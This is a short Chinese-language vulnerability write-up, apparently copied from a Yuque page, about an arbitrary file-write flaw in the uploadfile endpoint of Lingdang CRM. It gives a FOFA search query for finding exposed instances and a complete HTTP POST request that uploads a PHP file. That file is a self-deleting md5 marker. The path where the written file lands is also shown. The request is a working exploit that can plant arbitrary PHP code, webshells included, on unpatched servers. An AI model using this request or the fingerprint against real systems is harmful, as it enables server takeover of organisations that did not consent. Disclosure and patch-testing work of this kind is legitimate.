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42 lines
1.6 KiB
Markdown
42 lines
1.6 KiB
Markdown
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# 灵当crm uploadfile存在文件写入漏洞
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# 一、漏洞简介
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灵当CRM 是一款企业级客户关系管理软件。它旨在帮助企业管理客户信息、销售流程、市场营销活动和客户服务等。灵当crm存在任意文件写入漏洞，攻击者可以通过该漏洞写入恶意文件获取服务器权限。
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# 二、影响版本
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+ 灵当crm
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# 三、资产测绘
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+ fofa`body="[http://localhost:8088/crm/index.php"](http://localhost:8088/crm/index.php") && body="ldcrm.base.js"`
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+ 特征
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# 四、漏洞复现
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```plain
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POST /crm/weixinmp/index.php?userid=123&module=Upload&usid=1&action=uploadfile HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
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Accept: */*
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Accept-Encoding: gzip, deflate, br
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Accept-Ldwk: bG91ZG9uZ3dlbmt1
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 67
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file_info={"name":"1.php"}&<?php echo(md5(233));unlink(__FILE__);?>
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```
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```plain
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/crm/storage/2024/August/week1/172299960228103.php
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```
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> 更新: 2024-10-21 11:49:37
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/oaxy831ru4asisru>
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